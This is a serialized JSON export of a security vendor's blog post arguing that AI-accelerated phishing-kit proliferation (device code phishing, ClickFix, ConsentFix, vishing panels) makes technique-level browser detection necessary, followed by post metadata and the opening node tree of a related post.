faster than ever",{"data":13750,"content":13751,"nodeType":866},{},[13752],{"data":13753,"marks":13754,"value":13755,"nodeType":865},{},[],"As well as the fragmentation of existing kits, we’re seeing new techniques added at an accelerating rate. ",{"data":13757,"content":13758,"nodeType":866},{},[13759,13763],{"data":13760,"marks":13761,"value":360,"nodeType":865},{},[13762],{"type":935},{"data":13764,"marks":13765,"value":13766,"nodeType":865},{},[]," is the clearest case study. From early nation state adoption in 2024, it took until 2026 for criminal adoption to really take off, but the take-up this year is unprecedented. The EvilTokens kit packaged device code phishing into a PhaaS offering with GPT-powered spear-phishing and adaptive landing pages, hitting 340+ organizations across five countries in March 2026. ",{"data":13768,"content":13769,"nodeType":866},{},[13770],{"data":13771,"marks":13772,"value":13773,"nodeType":865},{},[],"Now, device code functionality is now a core phish kit component. We’re tracking 18+ kits with device code phishing capabilities and a 37.5x increase in device code phishing detections this year alone, with the technique moving from state-sponsored exclusivity to something any PhaaS customer can rent.",{"data":13775,"content":13776,"nodeType":866},{},[13777,13781,13789,13793,13798,13802,13810],{"data":13778,"marks":13779,"value":13780,"nodeType":865},{},[],"Similarly, when we ",{"data":13782,"content":13784,"nodeType":889},{"uri":13783},"https://pushsecurity.com/blog/inside-criminal-phishing-panel",[13785],{"data":13786,"marks":13787,"value":13788,"nodeType":865},{},[],"infiltrated Doko's Panel",{"data":13790,"marks":13791,"value":13792,"nodeType":865},{},[]," — a ",{"data":13794,"marks":13795,"value":13797,"nodeType":865},{},[13796],{"type":935},"real-time vishing and AiTM platform",{"data":13799,"marks":13800,"value":13801,"nodeType":865},{},[]," used by ShinyHunters and affiliated groups — the codebase was full of LLM-generated artifacts. Multiple groups were using the templated vishing panel and spinning up their own variants, but the AI-generated indicators persisted throughout. This approach to real-time vishing + browser payload has been a ",{"data":13803,"content":13804,"nodeType":889},{"uri":6166},[13805],{"data":13806,"marks":13807,"value":13809,"nodeType":865},{},[13808],{"type":1191},"mainstay of the Com affiliates like ShinyHunters this year",{"data":13811,"marks":13812,"value":4835,"nodeType":865},{},[],{"data":13814,"content":13817,"nodeType":921},{"target":13815},{"sys":13816},{"id":4451,"type":918,"linkType":919},[],{"data":13819,"content":13820,"nodeType":866},{},[13821,13825,13829,13833,13842,13846,13854],{"data":13822,"marks":13823,"value":13824,"nodeType":865},{},[],"The broader ",{"data":13826,"marks":13827,"value":315,"nodeType":865},{},[13828],{"type":935},{"data":13830,"marks":13831,"value":13832,"nodeType":865},{},[]," family shows the same acceleration: First reported in early 2024 and adopted by four nation-state groups within a single quarter. Fast forward and ",{"data":13834,"content":13836,"nodeType":889},{"uri":13835},"https://www.crowdstrike.com/en-us/global-threat-report/",[13837],{"data":13838,"marks":13839,"value":13841,"nodeType":865},{},[13840],{"type":1191},"CrowdStrike's data",{"data":13843,"marks":13844,"value":13845,"nodeType":865},{},[]," shows a 563% increase in fake CAPTCHA incidents (one of the more common ClickFix lure types), while ",{"data":13847,"content":13848,"nodeType":889},{"uri":2031},[13849],{"data":13850,"marks":13851,"value":13853,"nodeType":865},{},[13852],{"type":1191},"Microsoft reported",{"data":13855,"marks":13856,"value":13857,"nodeType":865},{},[]," it as making up 47% of observed attacks according to their Digital Defense Report.",{"data":13859,"content":13860,"nodeType":866},{},[13861,13865,13869,13873,13880,13884,13891],{"data":13862,"marks":13863,"value":13864,"nodeType":865},{},[],"And ",{"data":13866,"marks":13867,"value":2101,"nodeType":865},{},[13868],{"type":935},{"data":13870,"marks":13871,"value":13872,"nodeType":865},{},[]," — a combination of ClickFix and OAuth consent phishing techniques — suggests the next compression is already underway. Push researchers ",{"data":13874,"content":13875,"nodeType":889},{"uri":2096},[13876],{"data":13877,"marks":13878,"value":13879,"nodeType":865},{},[],"discovered the technique",{"data":13881,"marks":13882,"value":13883,"nodeType":865},{},[]," in December 2025 — a browser-native ClickFix variant hijacking OAuth consent grants via Azure CLI's localhost redirect. It was later confirmed to be tied to APT29. By January 2026, a ",{"data":13885,"content":13886,"nodeType":889},{"uri":2135},[13887],{"data":13888,"marks":13889,"value":13890,"nodeType":865},{},[],"criminal ConsentFix v3 toolkit",{"data":13892,"marks":13893,"value":13894,"nodeType":865},{},[]," had appeared on the XSS forum with Cloudflare Workers, ZoomInfo targeting, and automated exfiltration via Pipedream.",{"data":13896,"content":13900,"nodeType":921},{"target":13897},{"sys":13898},{"id":13899,"type":918,"linkType":919},"41FMif4T0y1maflzonWgL8",[],{"data":13902,"content":13903,"nodeType":944},{},[],{"data":13905,"content":13906,"nodeType":953},{},[13907],{"data":13908,"marks":13909,"value":13911,"nodeType":865},{},[13910],{"type":935},"Why technique-level detection is the only layer that holds",{"data":13913,"content":13914,"nodeType":866},{},[13915],{"data":13916,"marks":13917,"value":13918,"nodeType":865},{},[],"The middle of the Pyramid — tool signatures and artifacts — used to offer much more durable detection than infrastructure indicators. Fingerprinting a specific phishing kit by its JavaScript structure or HTML patterns provided a detection target that survived across dozens or hundreds of campaigns, even as the underlying domains rotated. Tool level detections are still better, but not by quite the same margin.",{"data":13920,"content":13924,"nodeType":921},{"target":13921},{"sys":13922},{"id":13923,"type":918,"linkType":919},"5pxaYdCIFiFKLPhRaPoldX",[],{"data":13926,"content":13927,"nodeType":866},{},[13928],{"data":13929,"marks":13930,"value":13931,"nodeType":865},{},[],"When the kit landscape was dominated by a handful of platforms, you could write signatures for Tycoon, Sneaky2FA, EvilProxy, and so on, and cover the lion's share of attacks. With the ecosystem now producing new variants and entirely new kits on a weekly basis, detecting by kit fingerprint starts to look uncomfortably similar to detecting by domain.",{"data":13933,"content":13934,"nodeType":866},{},[13935],{"data":13936,"marks":13937,"value":13938,"nodeType":865},{},[],"But many of these proliferating kits do share behavioral patterns at a deeper level than their code signatures. For example, every device code phishing kit implements fundamentally the same flow: present a lure, generate a device code via the OAuth Device Authorization endpoint, get the user to enter it on the legitimate authorization page, and poll for the resulting tokens. The frontends vary, the infrastructure varies, but the behavioral pattern doesn't.",{"data":13940,"content":13944,"nodeType":921},{"target":13941},{"sys":13942},{"id":13943,"type":918,"linkType":919},"FyyHayQtsJTwoB1kluMOl",[],{"data":13946,"content":13947,"nodeType":866},{},[13948],{"data":13949,"marks":13950,"value":13951,"nodeType":865},{},[],"Genuinely new attack techniques still require human creativity — an attacker has to identify a gap in how a legitimate protocol or feature can be subverted. That kind of innovation hasn't been automated. But the window to discover a technique, build a detection, and then deploy it before it is adopted by criminals at scale is compressing with each generation.",{"data":13953,"content":13954,"nodeType":866},{},[13955],{"data":13956,"marks":13957,"value":13958,"nodeType":865},{},[],"Organizations that detect at the technique level and deploy before commoditization have a structural advantage that increases over time. Waiting for indicators — even tool-level indicators — means chasing a curve that's accelerating away from you. This is the challenge we grapple with every day as we strive for the most resilient detections possible. ",{"data":13960,"content":13961,"nodeType":5786},{},[13962],{"data":13963,"content":13964,"nodeType":866},{},[13965,13968,13974,13977],{"data":13966,"marks":13967,"value":12569,"nodeType":865},{},[],{"data":13969,"content":13970,"nodeType":889},{"uri":12572},[13971],{"data":13972,"marks":13973,"value":12577,"nodeType":865},{},[],{"data":13975,"marks":13976,"value":12581,"nodeType":865},{},[],{"data":13978,"marks":13979,"value":12586,"nodeType":865},{},[13980],{"type":965},{"data":13982,"content":13983,"nodeType":944},{},[],{"data":13985,"content":13986,"nodeType":953},{},[13987],{"data":13988,"marks":13989,"value":13991,"nodeType":865},{},[13990],{"type":935},"What it takes to detect at the top of the Pyramid",{"data":13993,"content":13994,"nodeType":866},{},[13995],{"data":13996,"marks":13997,"value":13998,"nodeType":865},{},[],"If technique-level detection is the only layer that holds, two things have to be true about your detection capability: You need the right vantage point, and you need the research velocity to stay ahead.",{"data":14000,"content":14001,"nodeType":1229},{},[14002],{"data":14003,"marks":14004,"value":14006,"nodeType":865},{},[14005],{"type":935},"You need the right vantage point",{"data":14008,"content":14009,"nodeType":866},{},[14010],{"data":14011,"marks":14012,"value":14013,"nodeType":865},{},[],"Technique-level behaviors in browser-based identity attacks — how a phishing page orchestrates credential entry, how a device code flow presents its authorization prompt, how a ClickFix variant manipulates the clipboard — are visible in the browser session and nowhere else.",{"data":14015,"content":14016,"nodeType":866},{},[14017],{"data":14018,"marks":14019,"value":14020,"nodeType":865},{},[],"Network proxies see encrypted traffic and can attempt to reconstruct page behavior from metadata, but DOM manipulation, user interaction sequences, and script execution aren't visible from that vantage point. Email gateways see the delivery mechanism (or nothing at all in the increasing number of social media and search engine based attacks) but not the payload.",{"data":14022,"content":14023,"nodeType":866},{},[14024,14028,14036],{"data":14025,"marks":14026,"value":14027,"nodeType":865},{},[],"As we disclosed in our ",{"data":14029,"content":14030,"nodeType":889},{"uri":2609},[14031],{"data":14032,"marks":14033,"value":14035,"nodeType":865},{},[14034],{"type":1191},"browser attacks report",{"data":14037,"marks":14038,"value":14039,"nodeType":865},{},[],", 95% of in-browser attacks we detect use some form of bot protection, often combined with conditional loading techniques like referrer and browser checks, reliably defeating automated analysis techniques. ",{"data":14041,"content":14042,"nodeType":866},{},[14043],{"data":14044,"marks":14045,"value":14046,"nodeType":865},{},[],"Behavioral detection at the technique level requires observing what happens on the page at the moment the user interacts with it — analyzing pages, not links. When you see the entire browsing flow — ad click, redirect chain, page render, credential prompt — an attack stands out immediately. Without that context, any detection system is forced to fill in gaps, and the gaps are where attacks hide.",{"data":14048,"content":14052,"nodeType":921},{"target":14049},{"sys":14050},{"id":14051,"type":918,"linkType":919},"4804g6u4POUDpL42bzP0EY",[],{"data":14054,"content":14055,"nodeType":866},{},[14056],{"data":14057,"marks":14058,"value":14059,"nodeType":865},{},[],"Push sits inside the browser session, observing this in real time. Its detections target the behavioral mechanics of techniques rather than the surface characteristics of individual kits or infrastructure.",{"data":14061,"content":14062,"nodeType":1229},{},[14063],{"data":14064,"marks":14065,"value":14067,"nodeType":865},{},[14066],{"type":935},"You need the research expertise",{"data":14069,"content":14070,"nodeType":866},{},[14071],{"data":14072,"marks":14073,"value":14074,"nodeType":865},{},[],"When the window between technique discovery and industrialized exploitation is measured in weeks rather than years, the detection pipeline needs to operate on that same compressed timescale.",{"data":14076,"content":14077,"nodeType":866},{},[14078,14082,14088],{"data":14079,"marks":14080,"value":14081,"nodeType":865},{},[],"This is where our ",{"data":14083,"content":14084,"nodeType":889},{"uri":1445},[14085],{"data":14086,"marks":14087,"value":1450,"nodeType":865},{},[],{"data":14089,"marks":14090,"value":14091,"nodeType":865},{},[]," fits. It's tripled our monthly detection output — not by generating bigger blocklists, but by scaling the process of discovering behavioral patterns across the telemetry generated by 3+ million browser deployments.",{"data":14093,"content":14094,"nodeType":866},{},[14095],{"data":14096,"marks":14097,"value":14098,"nodeType":865},{},[],"The detections it produces are technique-class by design, targeting how attacks work rather than the infrastructure or specific tool that implements them. The goal is curation, not accumulation — hundreds of high-fidelity behavioral detections rather than the billions of signatures and domain entries that traditional approaches require.",{"data":14100,"content":14101,"nodeType":866},{},[14102,14106,14112],{"data":14103,"marks":14104,"value":14105,"nodeType":865},{},[],"When we detected the first in-the-wild ",{"data":14107,"content":14108,"nodeType":889},{"uri":1693},[14109],{"data":14110,"marks":14111,"value":11170,"nodeType":865},{},[],{"data":14113,"marks":14114,"value":14115,"nodeType":865},{},[]," through the pipeline — a user had searched for NotebookLM, clicked a paid Google ad, and was redirected to a fake page with a WebAssembly C2 connector — the detection shipped to all customers within minutes. It didn't depend on knowing the domain, the ad creative, or the specific kit. It depended on recognizing the technique itself.",{"data":14117,"content":14118,"nodeType":944},{},[],{"data":14120,"content":14121,"nodeType":953},{},[14122],{"data":14123,"marks":14124,"value":14126,"nodeType":865},{},[14125],{"type":935},"Technique-level detection is now the only option",{"data":14128,"content":14129,"nodeType":866},{},[14130],{"data":14131,"marks":14132,"value":14133,"nodeType":865},{},[],"As a framework for detection durability, the Pyramid of Pain is more relevant than ever. ",{"data":14135,"content":14136,"nodeType":866},{},[14137],{"data":14138,"marks":14139,"value":14140,"nodeType":865},{},[],"AI has made infrastructure indicators essentially disposable. The tools tier is compressing as criminal vendors vibe-code, fork, and clone tooling at machine speed. Technique-level detection is the layer that holds long-term to be able to proactively detect and block net-new attacks and the kits that power them. ",{"data":14142,"content":14143,"nodeType":866},{},[14144],{"data":14145,"marks":14146,"value":14147,"nodeType":865},{},[],"Novel attack techniques still require human creativity to discover, and detections built around how those techniques work can survive infrastructure rotation, tool proliferation, and kit fragmentation. Defending that layer requires a vantage point inside the browser session and a research pipeline fast enough to stay ahead of the accelerating path from discovery to industrialization.",{"data":14149,"content":14150,"nodeType":944},{},[],{"data":14152,"content":14153,"nodeType":866},{},[14154],{"data":14155,"marks":14156,"value":1471,"nodeType":865},{},[],{"data":14158,"content":14159,"nodeType":866},{},[14160],{"data":14161,"marks":14162,"value":1478,"nodeType":865},{},[],{"data":14164,"content":14165,"nodeType":866},{},[14166,14169,14177],{"data":14167,"marks":14168,"value":21,"nodeType":865},{},[],{"data":14170,"content":14171,"nodeType":889},{"uri":2644},[14172],{"data":14173,"marks":14174,"value":14176,"nodeType":865},{},[14175],{"type":1191},"Book a live demo",{"data":14178,"marks":14179,"value":2653,"nodeType":865},{},[],"The Pyramid of Pain in the AI era: Why technique-level detection matters more than ever","AI is accelerating the collapse of indicator-based threat detection. Here's why you need technique-level detection to stay ahead.","2026-06-01T00:00:00.000Z","the-pyramid-of-pain-in-the-ai-era",{"items":14185},[14186,14188],{"sys":14187,"name":342},{"id":2666},{"sys":14189,"name":2663},{"id":2662},{"items":14191},[14192],{"fullName":2670,"firstName":2671,"jobTitle":2672,"profilePicture":14193},{"url":2674},"can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline","blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline",{"json":14197},{"data":14198,"content":14199,"nodeType":1663},{},[14200],{"data":14201,"content":14202,"nodeType":866},{},[14203],{"data":14204,"marks":14205,"value":14206,"nodeType":865},{},[],"What does agentic threat hunting against modern browser-based attacks actually look like? At Push, we built an end-to-end threat hunting and detection engineering capability that uses AI agents as a force multiplier, tripling the number of new detections we’re shipping each month. Here’s how it works.","How we built an end-to-end threat hunting and detection engineering capability at Push that uses AI agents as a force multiplier.",{"id":14209,"publishedAt":14210},"1jfqiWQlL6qkn3i9yjNbFB","2026-08-12T11:52:54.643Z",{"items":14212},[14213,14215],{"sys":14214,"name":2663},{"id":2662},{"sys":14216,"name":342},{"id":2666},{"items":14218},[14219,14221,14223,14225,14227,14229,14231,14233,14235,14237,14239,14241,14243,14245,14247,14249,14251],{"sys":14220,"name":297,"slug":298,"tier":31},{"id":294},{"sys":14222,"name":235,"slug":236,"tier":31},{"id":232},{"sys":14224,"name":342,"slug":343,"tier":31},{"id":339},{"sys":14226,"name":279,"slug":280,"tier":31},{"id":276},{"sys":14228,"name":519,"slug":520,"tier":31},{"id":516},{"sys":14230,"name":351,"slug":352,"tier":45},{"id":348},{"sys":14232,"name":315,"slug":316,"tier":45},{"id":312},{"sys":14234,"name":440,"slug":441,"tier":45},{"id":437},{"sys":14236,"name":244,"slug":245,"tier":45},{"id":241},{"sys":14238,"name":261,"slug":262,"tier":45},{"id":258},{"sys":14240,"name":511,"slug":512,"tier":45},{"id":508},{"sys":14242,"name":360,"slug":361,"tier":45},{"id":357},{"sys":14244,"name":484,"slug":485,"tier":45},{"id":481},{"sys":14246,"name":448,"slug":449,"tier":45},{"id":445},{"sys":14248,"name":563,"slug":564,"tier":45},{"id":560},{"sys":14250,"name":324,"slug":325,"tier":45},{"id":321},{"sys":14252,"name":571,"slug":572,"tier":45},{"id":568},"EIw901ieTSJKgYUJtBGNL0gxQIxXjCkEBakCEa5VEHA",{"id":14255,"title":2654,"authorsCollection":14256,"content":14262,"extension":228,"faqItemsCollection":14996,"faqTitle":59,"featured":19,"hashTags":59,"meta":14998,"metaTitle":14999,"ogImage":59,"postType":6287,"publishedDate":2656,"relatedBlogPostsCollection":15000,"slug":2657,"stem":18315,"subtitle":59,"summary":18316,"synopsis":2655,"sys":18327,"tagsCollection":18329,"topicsCollection":18335,"__hash__":18369},"blog/blog/introducing-the-browser-and-identity-attacks-matrix.json",{"items":14257},[14258],{"fullName":2670,"firstName":2671,"jobTitle":2672,"socialLinks":14259,"profilePicture":14261},[14260],"https://www.linkedin.com/in/daniel-g-/",{"url":2674},{"json":14263,"links":14971},{"data":14264,"content":14265,"nodeType":1663},{},[14266,14281,14296,14311,14316,14319,14326,14332,14338,14344,14350,14357,14360,14367,14373,14379,14385,14390,14397,14412,14418,14424,14437,14444,14468,14481,14487,14511,14518,14542,14548,14555,14570,14576,14582,14587,14593,14600,14615,14621,14637,14643,14646,14653,14659,14734,14740,14753,14756,14781,14796,14802,14808,14811,14818,14833,14839,14845,14860,14863,14870,14876,14906,14912,14927,14942,14947,14950,14956],{"data":14267,"content":14268,"nodeType":866},{},[14269,14272,14278],{"data":14270,"marks":14271,"value":1815,"nodeType":865},{},[],{"data":14273,"content":14274,"nodeType":889},{"uri":1818},[14275],{"data":14276,"marks":14277,"value":1823,"nodeType":865},{},[],{"data":14279,"marks":14280,"value":1827,"nodeType":865},{},[],{"data":14282,"content":14283,"nodeType":866},{},[14284,14287,14293],{"data":14285,"marks":14286,"value":1834,"nodeType":865},{},[],{"data":14288,"content":14289,"nodeType":889},{"uri":1837},[14290],{"data":14291,"marks":14292,"value":1842,"nodeType":865},{},[],{"data":14294,"marks":14295,"value":1846,"nodeType":865},{},[],{"data":14297,"content":14298,"nodeType":866},{},[14299,14302,14308],{"data":14300,"marks":14301,"value":1853,"nodeType":865},{},[],{"data":14303,"content":14304,"nodeType":889},{"uri":1856},[14305],{"data":14306,"marks":14307,"value":1861,"nodeType":865},{},[],{"data":14309,"marks":14310,"value":1865,"nodeType":865},{},[],{"data":14312,"content":14315,"nodeType":921},{"target":14313},{"sys":14314},{"id":1870,"type":918,"linkType":919},[],{"data":14317,"content":14318,"nodeType":944},{},[],{"data":14320,"content":14321,"nodeType":953},{},[14322],{"data":14323,"marks":14324,"value":1882,"nodeType":865},{},[14325],{"type":935},{"data":14327,"content":14328,"nodeType":866},{},[14329],{"data":14330,"marks":14331,"value":1889,"nodeType":865},{},[],{"data":14333,"content":14334,"nodeType":866},{},[14335],{"data":14336,"marks":14337,"value":1896,"nodeType":865},{},[],{"data":14339,"content":14340,"nodeType":866},{},[14341],{"data":14342,"marks":14343,"value":1903,"nodeType":865},{},[],{"data":14345,"content":14346,"nodeType":866},{},[14347],{"data":14348,"marks":14349,"value":1910,"nodeType":865},{},[],{"data":14351,"content":14352,"nodeType":866},{},[14353],{"data":14354,"marks":14355,"value":1918,"nodeType":865},{},[14356],{"type":935},{"data":14358,"content":14359,"nodeType":944},{},[],{"data":14361,"content":14362,"nodeType":953},{},[14363],{"data":14364,"marks":14365,"value":1929,"nodeType":865},{},[14366],{"type":935},{"data":14368,"content":14369,"nodeType":866},{},[14370],{"data":14371,"marks":14372,"value":1936,"nodeType":865},{},[],{"data":14374,"content":14375,"nodeType":866},{},[14376],{"data":14377,"marks":14378,"value":1943,"nodeType":865},{},[],{"data":14380,"content":14381,"nodeType":866},{},[14382],{"data":14383,"marks":14384,"value":1950,"nodeType":865},{},[],{"data":14386,"content":14389,"nodeType":921},{"target":14387},{"sys":14388},{"id":1955,"type":918,"linkType":919},[],{"data":14391,"content":14392,"nodeType":1229},{},[14393],{"data":14394,"marks":14395,"value":1964,"nodeType":865},{},[14396],{"type":935},{"data":14398,"content":14399,"nodeType":866},{},[14400,14403,14409],{"data":14401,"marks":14402,"value":1971,"nodeType":865},{},[],{"data":14404,"content":14405,"nodeType":889},{"uri":1974},[14406],{"data":14407,"marks":14408,"value":1979,"nodeType":865},{},[],{"data":14410,"marks":14411,"value":1983,"nodeType":865},{},[],{"data":14413,"content":14414,"nodeType":866},{},[14415],{"data":14416,"marks":14417,"value":1990,"nodeType":865},{},[],{"data":14419,"content":14420,"nodeType":866},{},[14421],{"data":14422,"marks":14423,"value":1997,"nodeType":865},{},[],{"data":14425,"content":14426,"nodeType":866},{},[14427,14430,14434],{"data":14428,"marks":14429,"value":2004,"nodeType":865},{},[],{"data":14431,"marks":14432,"value":2009,"nodeType":865},{},[14433],{"type":935},{"data":14435,"marks":14436,"value":2013,"nodeType":865},{},[],{"data":14438,"content":14439,"nodeType":1229},{},[14440],{"data":14441,"marks":14442,"value":2021,"nodeType":865},{},[14443],{"type":935},{"data":14445,"content":14446,"nodeType":866},{},[14447,14450,14456,14459,14465],{"data":14448,"marks":14449,"value":2028,"nodeType":865},{},[],{"data":14451,"content":14452,"nodeType":889},{"uri":2031},[14453],{"data":14454,"marks":14455,"value":2036,"nodeType":865},{},[],{"data":14457,"marks":14458,"value":2040,"nodeType":865},{},[],{"data":14460,"content":14461,"nodeType":889},{"uri":2043},[14462],{"data":14463,"marks":14464,"value":2048,"nodeType":865},{},[],{"data":14466,"marks":14467,"value":2052,"nodeType":865},{},[],{"data":14469,"content":14470,"nodeType":866},{},[14471,14474,14478],{"data":14472,"marks":14473,"value":2059,"nodeType":865},{},[],{"data":14475,"marks":14476,"value":2064,"nodeType":865},{},[14477],{"type":935},{"data":14479,"marks":14480,"value":2068,"nodeType":865},{},[],{"data":14482,"content":14483,"nodeType":866},{},[14484],{"data":14485,"marks":14486,"value":2075,"nodeType":865},{},[],{"data":14488,"content":14489,"nodeType":866},{},[14490,14493,14499,14502,14508],{"data":14491,"marks":14492,"value":2082,"nodeType":865},{},[],{"data":14494,"content":14495,"nodeType":889},{"uri":1693},[14496],{"data":14497,"marks":14498,"value":2089,"nodeType":865},{},[],{"data":14500,"marks":14501,"value":2093,"nodeType":865},{},[],{"data":14503,"content":14504,"nodeType":889},{"uri":2096},[14505],{"data":14506,"marks":14507,"value":2101,"nodeType":865},{},[],{"data":14509,"marks":14510,"value":2105,"nodeType":865},{},[],{"data":14512,"content":14513,"nodeType":1229},{},[14514],{"data":14515,"marks":14516,"value":2113,"nodeType":865},{},[14517],{"type":935},{"data":14519,"content":14520,"nodeType":866},{},[14521,14524,14530,14533,14539],{"data":14522,"marks":14523,"value":2120,"nodeType":865},{},[],{"data":14525,"content":14526,"nodeType":889},{"uri":2123},[14527],{"data":14528,"marks":14529,"value":2128,"nodeType":865},{},[],{"data":14531,"marks":14532,"value":2132,"nodeType":865},{},[],{"data":14534,"content":14535,"nodeType":889},{"uri":2135},[14536],{"data":14537,"marks":14538,"value":2140,"nodeType":865},{},[],{"data":14540,"marks":14541,"value":2144,"nodeType":865},{},[],{"data":14543,"content":14544,"nodeType":866},{},[14545],{"data":14546,"marks":14547,"value":2151,"nodeType":865},{},[],{"data":14549,"content":14550,"nodeType":1229},{},[14551],{"data":14552,"marks":14553,"value":2159,"nodeType":865},{},[14554],{"type":935},{"data":14556,"content":14557,"nodeType":866},{},[14558,14561,14567],{"data":14559,"marks":14560,"value":2166,"nodeType":865},{},[],{"data":14562,"content":14563,"nodeType":889},{"uri":2169},[14564],{"data":14565,"marks":14566,"value":2174,"nodeType":865},{},[],{"data":14568,"marks":14569,"value":2178,"nodeType":865},{},[],{"data":14571,"content":14572,"nodeType":866},{},[14573],{"data":14574,"marks":14575,"value":2185,"nodeType":865},{},[],{"data":14577,"content":14578,"nodeType":866},{},[14579],{"data":14580,"marks":14581,"value":2192,"nodeType":865},{},[],{"data":14583,"content":14586,"nodeType":921},{"target":14584},{"sys":14585},{"id":2197,"type":918,"linkType":919},[],{"data":14588,"content":14589,"nodeType":866},{},[14590],{"data":14591,"marks":14592,"value":2205,"nodeType":865},{},[],{"data":14594,"content":14595,"nodeType":1229},{},[14596],{"data":14597,"marks":14598,"value":2213,"nodeType":865},{},[14599],{"type":935},{"data":14601,"content":14602,"nodeType":866},{},[14603,14606,14612],{"data":14604,"marks":14605,"value":2220,"nodeType":865},{},[],{"data":14607,"content":14608,"nodeType":889},{"uri":2223},[14609],{"data":14610,"marks":14611,"value":2228,"nodeType":865},{},[],{"data":14613,"marks":14614,"value":2232,"nodeType":865},{},[],{"data":14616,"content":14617,"nodeType":866},{},[14618],{"data":14619,"marks":14620,"value":2239,"nodeType":865},{},[],{"data":14622,"content":14623,"nodeType":866},{},[14624,14627,14634],{"data":14625,"marks":14626,"value":2246,"nodeType":865},{},[],{"data":14628,"content":14629,"nodeType":889},{"uri":2223},[14630],{"data":14631,"marks":14632,"value":2254,"nodeType":865},{},[14633],{"type":1191},{"data":14635,"marks":14636,"value":2258,"nodeType":865},{},[],{"data":14638,"content":14639,"nodeType":866},{},[14640],{"data":14641,"marks":14642,"value":2265,"nodeType":865},{},[],{"data":14644,"content":14645,"nodeType":944},{},[],{"data":14647,"content":14648,"nodeType":953},{},[14649],{"data":14650,"marks":14651,"value":2276,"nodeType":865},{},[14652],{"type":935},{"data":14654,"content":14655,"nodeType":866},{},[14656],{"data":14657,"marks":14658,"value":2283,"nodeType":865},{},[],{"data":14660,"content":14661,"nodeType":2374},{},[14662,14680,14698,14716],{"data":14663,"content":14664,"nodeType":2309},{},[14665],{"data":14666,"content":14667,"nodeType":866},{},[14668,14671,14677],{"data":14669,"marks":14670,"value":2296,"nodeType":865},{},[],{"data":14672,"content":14673,"nodeType":889},{"uri":2299},[14674],{"data":14675,"marks":14676,"value":2304,"nodeType":865},{},[],{"data":14678,"marks":14679,"value":2308,"nodeType":865},{},[],{"data":14681,"content":14682,"nodeType":2309},{},[14683],{"data":14684,"content":14685,"nodeType":866},{},[14686,14689,14695],{"data":14687,"marks":14688,"value":2319,"nodeType":865},{},[],{"data":14690,"content":14691,"nodeType":889},{"uri":2322},[14692],{"data":14693,"marks":14694,"value":2327,"nodeType":865},{},[],{"data":14696,"marks":14697,"value":2331,"nodeType":865},{},[],{"data":14699,"content":14700,"nodeType":2309},{},[14701],{"data":14702,"content":14703,"nodeType":866},{},[14704,14707,14713],{"data":14705,"marks":14706,"value":2296,"nodeType":865},{},[],{"data":14708,"content":14709,"nodeType":889},{"uri":2096},[14710],{"data":14711,"marks":14712,"value":2347,"nodeType":865},{},[],{"data":14714,"marks":14715,"value":2351,"nodeType":865},{},[],{"data":14717,"content":14718,"nodeType":2309},{},[14719],{"data":14720,"content":14721,"nodeType":866},{},[14722,14725,14731],{"data":14723,"marks":14724,"value":2361,"nodeType":865},{},[],{"data":14726,"content":14727,"nodeType":889},{"uri":2364},[14728],{"data":14729,"marks":14730,"value":2369,"nodeType":865},{},[],{"data":14732,"marks":14733,"value":2373,"nodeType":865},{},[],{"data":14735,"content":14736,"nodeType":866},{},[14737],{"data":14738,"marks":14739,"value":2381,"nodeType":865},{},[],{"data":14741,"content":14742,"nodeType":866},{},[14743,14746,14750],{"data":14744,"marks":14745,"value":2388,"nodeType":865},{},[],{"data":14747,"marks":14748,"value":2393,"nodeType":865},{},[14749],{"type":935},{"data":14751,"marks":14752,"value":2397,"nodeType":865},{},[],{"data":14754,"content":14755,"nodeType":944},{},[],{"data":14757,"content":14758,"nodeType":953},{},[14759,14763,14768,14772,14777],{"data":14760,"marks":14761,"value":2408,"nodeType":865},{},[14762],{"type":935},{"data":14764,"marks":14765,"value":2414,"nodeType":865},{},[14766,14767],{"type":965},{"type":935},{"data":14769,"marks":14770,"value":2419,"nodeType":865},{},[14771],{"type":935},{"data":14773,"marks":14774,"value":2425,"nodeType":865},{},[14775,14776],{"type":965},{"type":935},{"data":14778,"marks":14779,"value":2430,"nodeType":865},{},[14780],{"type":935},{"data":14782,"content":14783,"nodeType":866},{},[14784,14787,14793],{"data":14785,"marks":14786,"value":2437,"nodeType":865},{},[],{"data":14788,"content":14789,"nodeType":889},{"uri":2440},[14790],{"data":14791,"marks":14792,"value":2445,"nodeType":865},{},[],{"data":14794,"marks":14795,"value":2449,"nodeType":865},{},[],{"data":14797,"content":14798,"nodeType":866},{},[14799],{"data":14800,"marks":14801,"value":2456,"nodeType":865},{},[],{"data":14803,"content":14804,"nodeType":866},{},[14805],{"data":14806,"marks":14807,"value":2463,"nodeType":865},{},[],{"data":14809,"content":14810,"nodeType":944},{},[],{"data":14812,"content":14813,"nodeType":953},{},[14814],{"data":14815,"marks":14816,"value":2474,"nodeType":865},{},[14817],{"type":935},{"data":14819,"content":14820,"nodeType":866},{},[14821,14824,14830],{"data":14822,"marks":14823,"value":2481,"nodeType":865},{},[],{"data":14825,"content":14826,"nodeType":889},{"uri":2484},[14827],{"data":14828,"marks":14829,"value":2489,"nodeType":865},{},[],{"data":14831,"marks":14832,"value":2493,"nodeType":865},{},[],{"data":14834,"content":14835,"nodeType":866},{},[14836],{"data":14837,"marks":14838,"value":2500,"nodeType":865},{},[],{"data":14840,"content":14841,"nodeType":866},{},[14842],{"data":14843,"marks":14844,"value":2507,"nodeType":865},{},[],{"data":14846,"content":14847,"nodeType":866},{},[14848,14851,14857],{"data":14849,"marks":14850,"value":2514,"nodeType":865},{},[],{"data":14852,"content":14853,"nodeType":889},{"uri":2517},[14854],{"data":14855,"marks":14856,"value":2489,"nodeType":865},{},[],{"data":14858,"marks":14859,"value":1066,"nodeType":865},{},[],{"data":14861,"content":14862,"nodeType":944},{},[],{"data":14864,"content":14865,"nodeType":953},{},[14866],{"data":14867,"marks":14868,"value":2535,"nodeType":865},{},[14869],{"type":935},{"data":14871,"content":14872,"nodeType":866},{},[14873],{"data":14874,"marks":14875,"value":2542,"nodeType":865},{},[],{"data":14877,"content":14878,"nodeType":2374},{},[14879,14888,14897],{"data":14880,"content":14881,"nodeType":2309},{},[14882],{"data":14883,"content":14884,"nodeType":866},{},[14885],{"data":14886,"marks":14887,"value":2555,"nodeType":865},{},[],{"data":14889,"content":14890,"nodeType":2309},{},[14891],{"data":14892,"content":14893,"nodeType":866},{},[14894],{"data":14895,"marks":14896,"value":2565,"nodeType":865},{},[],{"data":14898,"content":14899,"node